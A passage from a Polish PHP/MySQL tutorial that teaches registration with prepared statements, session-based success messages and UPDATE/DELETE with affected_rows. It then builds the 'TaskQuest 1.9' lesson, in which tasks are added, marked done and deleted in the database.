        $stmt->bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt->execute()) {
            // Pobieramy informacje o operacji
            $new_player_id = $stmt->insert_id;
            $affected_rows = $stmt->affected_rows;
            
            $stmt->close();
            $db->close();
            
            // Zapisujemy dane w sesji
            $_SESSION['registration_success'] = [
                'player_id' => $new_player_id,
                'username' => $username,
                'email' => $email,
                'affected_rows' => $affected_rows,
                'timestamp' => date('Y-m-d H:i:s')
            ];
            
            // Przekierowanie (URL czysty, bez danych)
            header("Location: rejestracja_sukces.php");
            exit;
            
        } else {
            $errors[] = "Wystąpił błąd podczas rejestracji: {$stmt->error}";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja gracza</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja Gracza</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Nick gracza:</label>
            <input type="text" name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" 
                   placeholder="np. ProGamer123" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" 
                   placeholder="twoj@email.com" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required>
        </div>
        
        <button type="submit">Zarejestruj się</button>
    </form>
</div>

</body>
</html>

Plik: rejestracja_sukces.php

<?php
session_start(); // ZAWSZE na początku!

// Sprawdź czy istnieją dane o rejestracji
if (!isset($_SESSION['registration_success'])) {
    // Jeśli ktoś próbuje wejść bezpośrednio na tę stronę
    header("Location: rejestracja.php");
    exit;
}

// Pobierz dane z sesji
$data = $_SESSION['registration_success'];
$player_id = (int)$data['player_id'];
$username = htmlspecialchars($data['username']);
$email = htmlspecialchars($data['email']);
$affected_rows = (int)$data['affected_rows'];
$timestamp = htmlspecialchars($data['timestamp']);

// Usuń dane z sesji (wyświetl tylko raz)
unset($_SESSION['registration_success']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja zakończona</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .success-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 600px;
            width: 100%;
        }
        .success-icon {
            text-align: center;
            font-size: 80px;
            color: #28a745;
            margin-bottom: 20px;
        }
        h1 {
            text-align: center;
            color: #155724;
            margin-bottom: 20px;
        }
        .success-message {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin-bottom: 30px;
        }
        .info-box {
            background: #e7f3ff;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #2196F3;
            margin-bottom: 20px;
        }
        .info-box p {
            margin: 8px 0;
            color: #333;
        }
        .info-box strong {
            color: #0c5460;
        }
        .buttons {
            display: flex;
            gap: 10px;
            justify-content: center;
        }
        a {
            padding: 12px 30px;
            background: #667eea;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            font-weight: bold;
            text-align: center;
        }
        a:hover {
            background: #764ba2;
        }
    </style>
</head>
<body>

<div class="success-container">
    <div class="success-icon">✓</div>
    <h1>Rejestracja zakończona sukcesem!</h1>
    
    <div class="success-message">
        <p>Witaj, <strong><?= $username ?></strong>!</p>
        <p>Twoje konto zostało pomyślnie utworzone.</p>
    </div>
    
    <div class="info-box">
        <p><strong>Szczegóły operacji:</strong></p>
        <p>ID gracza: <strong><?= $player_id ?></strong></p>
        <p>Username: <strong><?= $username ?></strong></p>
        <p>Email: <strong><?= $email ?></strong></p>
        <p>Liczba dodanych rekordów: <strong><?= $affected_rows ?></strong></p>
        <p>Data rejestracji: <strong><?= $timestamp ?></strong></p>
    </div>
    
    <div class="buttons">
        <a href="profil.php?id=<?= $player_id ?>">Zobacz profil</a>
        <a href="logowanie.php">Zaloguj się</a>
        <a href="lista_graczy.php">Lista graczy</a>
    </div>
</div>

</body>
</html>

Zalety:

• Bezpieczne (dane niewidoczne w URL)
• Można przekazać wiele danych
• Komunikat wyświetla się tylko raz
• Profesjonalne rozwiązanie

Wady:

• Wymaga sesji
• Trochę więcej kodu

Przykład 4: UPDATE z informacją o affected_rows

<?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = trim($_POST['email'] ?? '');
    $level = (int)($_POST['level'] ?? 1);
    $coins = (int)($_POST['coins'] ?? 0);
    
    // Walidacja...
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    }
    
    if ($level < 1 || $level > 100) {
        $errors[] = "Poziom musi być między 1 a 100";
    }
    
    if (empty($errors)) {
        $stmt = $db->prepare("UPDATE players SET email = ?, level = ?, coins = ? WHERE id = ?");
        $stmt->bind_param("siii", $email, $level, $coins, $player_id);
        
        if ($stmt->execute()) {
            $affected_rows = $stmt->affected_rows;
            
            $stmt->close();
            $db->close();
            
            // Zapisz informacje w sesji
            $_SESSION['update_result'] = [
                'player_id' => $player_id,
                'affected_rows' => $affected_rows,
                'action' => 'update',
                'message' => $affected_rows > 0 
                    ? "Profil został zaktualizowany ({$affected_rows} zmian)" 
                    : "Nie wprowadzono żadnych zmian (dane są identyczne)"
            ];
            
            // Przekierowanie
            header("Location: profil.php?id={$player_id}");
            exit;
        }
        
        $stmt->close();
    }
}

$db->close();
?>

Plik: profil.php (wyświetlanie komunikatu)

<?php
session_start();

$player_id = (int)($_GET['id'] ?? 0);

// Sprawdź czy są dane o aktualizacji
$update_message = '';
$update_data = null;

if (isset($_SESSION['update_result'])) {
    $update_data = $_SESSION['update_result'];
    $update_message = $update_data['message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION['update_result']);
}

// Połączenie i pobranie danych gracza...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();
$db->close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Profil - <?= htmlspecialchars($gracz['username']) ?></title>
    <style>
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #bee5eb;
        }
    </style>
</head>
<body>

<?php if (!empty($update_message)): ?>
    <div class="<?= $update_data['affected_rows'] > 0 ? 'success' : 'info' ?>">
        <?= htmlspecialchars($update_message) ?>
        <?php if ($update_data['affected_rows'] > 0): ?>
            <br><small>Liczba zaktualizowanych rekordów: <?= $update_data['affected_rows'] ?></small>
        <?php endif; ?>
    </div>
<?php endif; ?>

<h1>Profil gracza: <?= htmlspecialchars($gracz['username']) ?></h1>
<p>Email: <?= htmlspecialchars($gracz['email']) ?></p>
<p>Level: <?= $gracz['level'] ?></p>
<p>Coins: <?= number_format($gracz['coins']) ?></p>

<a href="edycja.php?id=<?= $player_id ?>">Edytuj profil</a>

</body>
</html>

Przykład 5: DELETE z potwierdzeniem i informacją o affected_rows

<?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobierz dane gracza przed usunięciem
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm_delete'])) {
    
    $stmt = $db->prepare("DELETE FROM players WHERE id = ?");
    $stmt->bind_param("i", $player_id);
    
    if ($stmt->execute()) {
        $affected_rows = $stmt->affected_rows;
        
        $stmt->close();
        $db->close();
        
        // Zapisz informacje w sesji
        $_SESSION['delete_result'] = [
            'username' => $gracz['username'],
            'player_id' => $player_id,
            'affected_rows' => $affected_rows,
            'action' => 'delete',
            'message' => $affected_rows > 0 
                ? "Gracz '{$gracz['username']}' (ID: {$player_id}) został usunięty" 
                : "Nie usunięto gracza (możliwe że już nie istnieje)"
        ];
        
        // Przekierowanie do listy graczy
        header("Location: lista_graczy.php");
        exit;
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Usuń gracza</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .buttons {
            display: flex;
            gap: 10px;
        }
        button, a {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Usuń gracza</h1>
    
    <div class="warning">
        <strong>OSTRZEŻENIE:</strong><br>
        Ta operacja jest nieodwracalna! Gracz zostanie permanentnie usunięty z bazy danych.
    </div>
    
    <div class="player-info">
        <h3>Dane gracza do usunięcia:</h3>
        <p><strong>ID:</strong> <?= $gracz['id'] ?></p>
        <p><strong>Username:</strong> <?= htmlspecialchars($gracz['username']) ?></p>
        <p><strong>Email:</strong> <?= htmlspecialchars($gracz['email']) ?></p>
        <p><strong>Level:</strong> <?= $gracz['level'] ?></p>
        <p><strong>Coins:</strong> <?= number_format($gracz['coins']) ?></p>
    </div>
    
    <form method="POST">
        <div class="buttons">
            <a href="profil.php?id=<?= $player_id ?>" class="btn-cancel">Anuluj</a>
            <button type="submit" name="confirm_delete" class="btn-delete" 
                    onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza?')">
                Usuń gracza
            </button>
        </div>
    </form>
</div>

</body>
</html>

Plik: lista_graczy.php (wyświetlanie komunikatu po usunięciu)

<?php
session_start();

// Sprawdź czy są dane o usunięciu
$delete_message = '';
$delete_data = null;

if (isset($_SESSION['delete_result'])) {
    $delete_data = $_SESSION['delete_result'];
    $delete_message = $delete_data['message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION['delete_result']);
}

// Połączenie i pobranie listy graczy...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$stmt = $db->prepare("SELECT * FROM players ORDER BY id DESC");
$stmt->execute();
$wynik = $stmt->get_result();
$gracze = $wynik->fetch_all(MYSQLI_ASSOC);
$stmt->close();
$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Lista graczy</title>
    <style>
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #ffeeba;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 12px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background: #667eea;
            color: white;
        }
    </style>
</head>
<body>

<h1>Lista graczy</h1>

<?php if (!empty($delete_message)): ?>
    <div class="<?= $delete_data['affected_rows'] > 0 ? 'success' : 'warning' ?>">
        <?= htmlspecialchars($delete_message) ?>
        <?php if ($delete_data['affected_rows'] > 0): ?>
            <br><small>Liczba usuniętych rekordów: <?= $delete_data['affected_rows'] ?></small>
        <?php endif; ?>
    </div>
<?php endif; ?>

<table>
    <tr>
        <th>ID</th>
        <th>Username</th>
        <th>Email</th>
        <th>Level</th>
        <th>Akcje</th>
    </tr>
    <?php foreach ($gracze as $gracz): ?>
        <tr>
            <td><?= $gracz['id'] ?></td>
            <td><?= htmlspecialchars($gracz['username']) ?></td>
            <td><?= htmlspecialchars($gracz['email']) ?></td>
            <td><?= $gracz['level'] ?></td>
            <td>
                <a href="profil.php?id=<?= $gracz['id'] ?>">Profil</a> |
                <a href="edycja.php?id=<?= $gracz['id'] ?>">Edytuj</a> |
                <a href="usun.php?id=<?= $gracz['id'] ?>">Usuń</a>
            </td>
        </tr>
    <?php endforeach; ?>
</table>

</body>
</html>

Porównanie metod przekazywania danych:

Najlepsze praktyki:

• ZAWSZE używaj przekierowania po INSERT/UPDATE/DELETE
• Używaj SESSION dla komunikatów i wrażliwych danych
• Używaj GET tylko dla ID i prostych parametrów
• Zapisuj insert_id i affected_rows przed przekierowaniem
• Usuwaj dane z sesji po jednokrotnym wyświetleniu
• ZAWSZE dodawaj exit; po header()
• Waliduj dane po stronie odbiorczej (nawet po przekierowaniu)

TaskQuest 1.9 — zadania żyją w bazie: dodawanie, „Zrobione!” i usuwanie

taskquest/
├── index.php                        (zmiana: link „+ Dodaj zadanie”, przyciski „Zrobione!” i „Usuń”, bez symulacji streaka)
├── dodaj-zadanie.php                (zmiana: zapis do bazy)
├── oznacz-wykonane.php              NOWY
├── usun-zadanie.php                 NOWY (zadanie z sekcji 6)
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: lista plików, bez sekcji „Pliki danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: aktualizujStreak())
├── config/
│   └── config.php                   (zmiana: bez PLIK_ZADAN)
├── includes/
│   ├── header.php                   (zmiana: styl form.akcja)
│   ├── footer.php                   (zmiana: „TaskQuest 1.9”)
│   ├── funkcje_bazy.php             (zmiana: 5 nowych funkcji)
│   ├── funkcje_zadan.php            (zmiana: bez nastepneIdZadania())
│   ├── funkcje_plikow.php           USUWAMY
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/                            USUWAMY (razem z zadania.csv)

INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Przetestować INSERT', '', '2026-10-10', 10);

UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';

UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT' AND data_wykonania IS NULL;

UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;

DELETE FROM zadania WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$premia = 5;
$uzytkownikId = 2;

$zapytanie = $polaczenie->prepare('UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?');
$zapytanie->bind_param('ii', $premia, $uzytkownikId);
$zapytanie->execute();

var_dump($zapytanie->affected_rows);

WHERE id = ? AND uzytkownik_id = ?

UPDATE zadania SET data_wykonania = CURDATE()
WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL

$zapytanie = $polaczenie->prepare(
    'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
);
$zapytanie->bind_param('.....', ...);

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$uzytkownikId = 2;
$tytul = 'Zadanie z brudnopisu';
$opis = '';
$termin = '2026-10-15';
$xp = 15;

$zapytanie = $polaczenie->prepare(
    'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
);
$zapytanie->bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
$zapytanie->execute();

var_dump($zapytanie->affected_rows);
var_dump($zapytanie->insert_id);

function dodajZadanie(mysqli $polaczenie, int $uzytkownikId, string $tytul, string $opis, string $termin, int $xp): int

var_dump(dodajZadanie($polaczenie, 2, 'Test funkcji', '', '2026-10-20', 5));

function dodajZadanie(
    mysqli $polaczenie,
    int $uzytkownikId,
    string $tytul,
    string $opis,
    string $termin,
    int $xp
): int {
    $zapytanie = $polaczenie->prepare(
        'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
    );
    $zapytanie->bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
    $zapytanie->execute();

    return $zapytanie->insert_id;
}

require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';

require_once __DIR__ . '/includes/funkcje_bazy.php';

        try {
            $polaczenie = polaczZBaza();
            dodajZadanie(
                $polaczenie,
                $_SESSION['uzytkownik_id'],
                $tytulZadania,
                $opisZadania,
                $terminZadania,
                (int) $xpZadania
            );

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek->getMessage();
        }

<p><a href="dodaj-zadanie.php">+ Dodaj zadanie</a></p>

PLIK_ZADAN
wczytajZadania(
zapiszZadania(
sprawdzWierszZadania(
nastepneIdZadania(
funkcje_plikow

function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool

$zadanieOli = 6; // wpisz id zadania Oli ze swojej bazy

var_dump(wczytajZadanieUzytkownika($polaczenie, $zadanieOli, 1));
var_dump(wczytajZadanieUzytkownika($polaczenie, $zadanieOli, 2)->pobierzTytul());

var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 1));
var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 2));
var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 2));

function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie
{
    $zapytanie = $polaczenie->prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE id = ? AND uzytkownik_id = ?'
    );
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();
    $wiersz = $zapytanie->get_result()->fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Zadanie(
        id: $wiersz['id'],
        tytul: $wiersz['tytul'],
        opis: $wiersz['opis'],
        termin: $wiersz['termin'],
        wykonane: $wiersz['data_wykonania'] !== null,
        xp: $wiersz['xp'],
    );
}

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie->prepare(
        'UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();

    return $zapytanie->affected_rows === 1;
}

function aktualizujStreak(int $streak, string $dataOstatniejAktywnosci, bool $zadanieWykonane): int {
    if (!$zadanieWykonane) return $streak;

    $dzisiaj = new DateTime('today');
    $wczoraj = new DateTime('yesterday');
    $ostatniaAktywnosc = new DateTime($dataOstatniejAktywnosci);

    if ($ostatniaAktywnosc->format('Y-m-d') === $dzisiaj->format('Y-m-d')) return $streak;

    if ($ostatniaAktywnosc->format('Y-m-d') === $wczoraj->format('Y-m-d')) return $streak + 1;

    return 1;
}

$wczoraj = new DateTime('yesterday');

$uzytkownik = new Uzytkownik(
    id: 1,
    login: 'Kama_2026',
    imieUzytkownika: 'Kama',
    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: $wczoraj->format('Y-m-d'),
);
$uzytkownik->aktualizujStreak();
var_dump($uzytkownik->pobierzStreak());

    // Wywołujemy tylko wtedy, gdy użytkownik właśnie wykonał zadanie (oznacz-wykonane.php).
    public function aktualizujStreak(): void
    {
        if ($this->dataOstatniejAktywnosci === null) {
            $this->streak = 1; // pierwsze wykonane zadanie w historii — seria się zaczyna
            return;
        }

        $this->streak = aktualizujStreak($this->streak, $this->dataOstatniejAktywnosci, true);
    }

function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void

zapiszPostepUzytkownika($polaczenie, 2, 30, 1);

UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = ... WHERE ...

function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void
{
    $zapytanie = $polaczenie->prepare(
        'UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = CURDATE() WHERE id = ?'
    );
    $zapytanie->bind_param('iii', $zdobyteXp, $streak, $uzytkownikId);
    $zapytanie->execute();
}

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$zadanieIdTekst = $_POST['id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;
$uzytkownikId = $_SESSION['uzytkownik_id'];

try {
    $polaczenie = polaczZBaza();
    $zadanie = /* zadanie tego gracza albo null */;

    if (/* nie ma zadania */) {
        // komunikat
    } elseif (/* oznaczenie się NIE udało */) {
        // komunikat
    } else {
        // 1. wczytaj gracza
        // 2. zaktualizuj jego streak
        // 3. zapisz postęp: id gracza, nagroda za zadanie, nowy streak
        // 4. komunikat z liczbą XP
    }
}

try {
    $polaczenie = polaczZBaza();
    $zadanie = wczytajZadanieUzytkownika($polaczenie, $zadanieId, $uzytkownikId);

    if ($zadanie === null) {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    } elseif (!oznaczZadanieJakoWykonane($polaczenie, $zadanieId, $uzytkownikId)) {
        ustawKomunikat('To zadanie jest już wykonane.');
    } else {
        $uzytkownik = wczytajUzytkownika($polaczenie, $uzytkownikId);
        $uzytkownik->aktualizujStreak();
        zapiszPostepUzytkownika($polaczenie, $uzytkownikId, $zadanie->pobierzXp(), $uzytkownik->pobierzStreak());
        ustawKomunikat('Zadanie wykonane! +' . $zadanie->pobierzXp() . ' XP');
    }
}

} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '<p class="blad">Nie udało się zapisać zmiany: ' . $wyjatek->getMessage() . '</p>';
    echo '<p><a href="index.php">← Wróć do listy zadań</a></p>';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;

$zadanieWykonane = $liczbaWykonanych > 0;

$uzytkownik->aktualizujStreak($zadanieWykonane);

<form class="akcja" method="post" action="oznacz-wykonane.php">    <input type="hidden" name="id" value="3">
    <button type="submit">Zrobione!</button>
</form>

            if (!$zadanie->czyWykonane()) {
                echo '<form class="akcja" method="post" action="oznacz-wykonane.php">';
                echo '<input type="hidden" name="id" value="' . $zadanie->pobierzId() . '">';
                echo '<button type="submit">Zrobione!</button>';
                echo '</form>';
            }

            echo "</div>";

form.akcja { display: inline; }

DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?

function usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie->prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
    $zapytanie->bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie->execute();

    return $zapytanie->affected_rows === 1;
}

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$zadanieIdTekst = $_POST['id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;

try {
    $polaczenie = polaczZBaza();

    if (usunZadanie($polaczenie, $zadanieId, $_SESSION['uzytkownik_id'])) {
        ustawKomunikat('Zadanie zostało usunięte.');
    } else {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    }
} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '<p class="blad">Nie udało się usunąć zadania: ' . $wyjatek->getMessage() . '</p>';
    echo '<p><a href="index.php">← Wróć do listy zadań</a></p>';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;

            if (!$zadanie->czyWykonane()) {
                echo '<form class="akcja" method="post" action="oznacz-wykonane.php">';
                echo '<input type="hidden" name="id" value="' . $zadanie->pobierzId() . '">';
                echo '<button type="submit">Zrobione!</button>';
                echo '</form>';
            }

            echo '<form class="akcja" method="post" action="usun-zadanie.php">';
            echo '<input type="hidden" name="id" value="' . $zadanie->pobierzId() . '">';
            echo '<button type="submit">Usuń</button>';
            echo '</form>';

            echo "</div>";

UPDATE zadania SET data_wykonania = NULL WHERE uzytkownik_id = 1;
UPDATE uzytkownicy SET xp = 99, streak = 5, data_ostatniej_aktywnosci = CURDATE() - INTERVAL 1 DAY WHERE id = 1;

UPDATE zadania SET data_wykonania = CURDATE();

DELETE FROM zadania;

UPDATE zadania SET data_wykonania = CURDATE() - INTERVAL 1 DAY WHERE uzytkownik_id = 2;

$xp = 99;
$uzytkownikId = 1;

$zapytanie = $polaczenie->prepare('UPDATE uzytkownicy SET xp = ? WHERE id = ?');
$zapytanie->bind_param('ii', $xp, $uzytkownikId);

$zapytanie->execute();
var_dump($zapytanie->affected_rows);

$zapytanie->execute();
var_dump($zapytanie->affected_rows);

$uzytkownik->aktualizujStreak();

includes/funkcje_plikow.php          (wczytajZadania(), zapiszZadania(), sprawdzWierszZadania())
data/zadania.csv i katalog data/
config/config.php: define('PLIK_ZADAN', ...);
includes/funkcje_zadan.php: function nastepneIdZadania(...)

<?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcje 18–19).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
